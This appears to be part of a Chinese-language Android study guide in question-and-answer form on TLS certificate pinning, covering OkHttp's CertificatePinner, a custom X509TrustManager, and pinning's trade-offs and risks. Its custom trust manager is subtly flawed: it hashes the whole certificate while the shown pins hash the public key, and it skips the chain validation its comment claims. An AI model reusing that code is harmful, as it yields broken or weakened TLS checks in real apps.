.add("www.example.com", pinnedHash)
.build();
总结:
- 预先存储证书哈希值
- 连接时计算证书哈希值
- 比较哈希值
- 匹配则允许,不匹配则拒绝
13.12 如何实现证书锁定?
答案:
实现证书锁定的方法:
1. 使用OkHttp(推荐)
// 计算证书哈希值
// 使用命令:openssl x509 -in cert.pem -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
// 实现证书锁定
CertificatePinner certificatePinner = new CertificatePinner.Builder()
.add("www.example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
.add("api.example.com", "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=")
.build();
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(certificatePinner)
.build();
2. 自定义X509TrustManager
public class PinningTrustManager implements X509TrustManager {
private final Set<String> pinnedHashes;
public PinningTrustManager(Set<String> pinnedHashes) {
this.pinnedHashes = pinnedHashes;
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType) {
// 验证证书链
// 检查证书哈希值是否在pinnedHashes中
X509Certificate cert = chain[0];
String certHash = calculateCertHash(cert);
if (!pinnedHashes.contains(certHash)) {
throw new CertificateException("Certificate pinning failed");
}
}
private String calculateCertHash(X509Certificate cert) {
try {
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] certBytes = cert.getEncoded();
byte[] hash = md.digest(certBytes);
return "sha256/" + Base64.encodeToString(hash, Base64.NO_WRAP);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType) {
// 不验证客户端证书
}
}
3. 配置SSLContext
TrustManager[] trustManagers = new TrustManager[]{
new PinningTrustManager(pinnedHashes)
};
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustManagers, null);
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());
最佳实践:
- 使用OkHttp的CertificatePinner(推荐)
- 支持多个证书(证书更新时)
- 使用SHA-256哈希
- 定期更新证书哈希值
总结:
- 使用OkHttp CertificatePinner(最简单)
- 或自定义X509TrustManager
- 计算和比较证书哈希值
- 支持多个证书以提高灵活性
13.13 证书锁定的优缺点是什么?
答案:
证书锁定的优缺点:
优点:
-
安全性高
- 防止CA被攻击
- 防止伪造证书
- 防止中间人攻击
-
精确控制
- 只信任特定证书
- 不受CA影响
- 提高安全性
缺点:
-
维护成本高
- 证书更新需要更新应用
- 需要重新发布应用
- 维护复杂
-
灵活性低
- 只接受特定证书
- 证书更新困难
- 可能影响可用性
-
风险
- 证书过期可能导致应用无法使用
- 需要及时更新
- 可能影响用户体验
对比表:
| 特性 | 普通证书验证 | 证书锁定 |
|---|---|---|
| 安全性 | 中 | 高 |
| 维护成本 | 低 | 高 |
| 灵活性 | 高 | 低 |
| 可用性 | 高 | 中(证书更新时可能受影响) |
使用建议:
- 高安全要求场景:使用证书锁定
- 一般场景:使用普通证书验证
- 支持多个证书:提高灵活性
- 及时更新:证书更新时及时更新应用
总结:
- 优点:安全性高,精确控制
- 缺点:维护成本高,灵活性低
- 适用于高安全要求场景
13.14 证书锁定有什么风险?
答案:
证书锁定的风险:
-
证书过期风险
- 证书过期后应用无法连接
- 需要及时更新应用
- 可能影响用户体验
-
证书更新风险
- 证书更新需要更新应用
- 如果未及时更新,应用无法使用
- 需要重新发布应用
-
多证书管理
- 需要管理多个证书哈希值
- 证书更新时需要更新所有哈希值
- 管理复杂
-
可用性风险
- 证书问题可能导致应用无法使用
- 影响用户体验
- 需要快速响应
风险缓解:
-
支持多个证书
CertificatePinner pinner = new CertificatePinner.Builder() .add("www.example.com", "sha256/旧证书哈希值") .add("www.example.com", "sha256/新证书哈希值") // 支持多个 .build(); -
及时更新
- 证书更新前更新应用
- 提前准备新证书
- 平滑过渡
-
监控和告警
- 监控证书有效期
- 提前告警
- 及时处理
最佳实践:
- 支持多个证书(旧证书+新证书)
- 提前更新应用
- 监控证书有效期
- 准备应急方案
总结:
- 证书过期和更新风险
- 可用性风险
- 通过支持多个证书和及时更新缓解风险
13.15 什么时候使用证书锁定?
答案:
使用证书锁定的场景:
-
高安全要求
- 金融应用
- 支付应用
- 敏感数据处理
-
防止CA攻击
- CA可能被攻击
- 需要额外保护
- 提高安全性
-
固定服务器
- 服务器固定
- 证书不经常更新
- 适合证书锁定
使用场景:
适合使用:
- 金融、支付应用
- 高安全要求应用
- 固定服务器应用
- 企业内部应用
不适合使用:
- 一般Web应用
- 证书经常更新
- 维护成本敏感
- 快速迭代应用
决策建议:
安全要求高 + 维护成本可接受 → 使用证书锁定
安全要求一般 + 维护成本敏感 → 使用普通证书验证
Android代码示例:
// 高安全要求应用使用证书锁定
if (isHighSecurityApp()) {
CertificatePinner pinner = new CertificatePinner.Builder()
.add("api.bank.com", "sha256/...")
.build();
// 使用证书锁定
} else {
// 使用普通证书验证
}
总结:
- 高安全要求场景使用
- 固定服务器场景使用
- 一般场景使用普通证书验证
- 根据安全要求和维护成本决定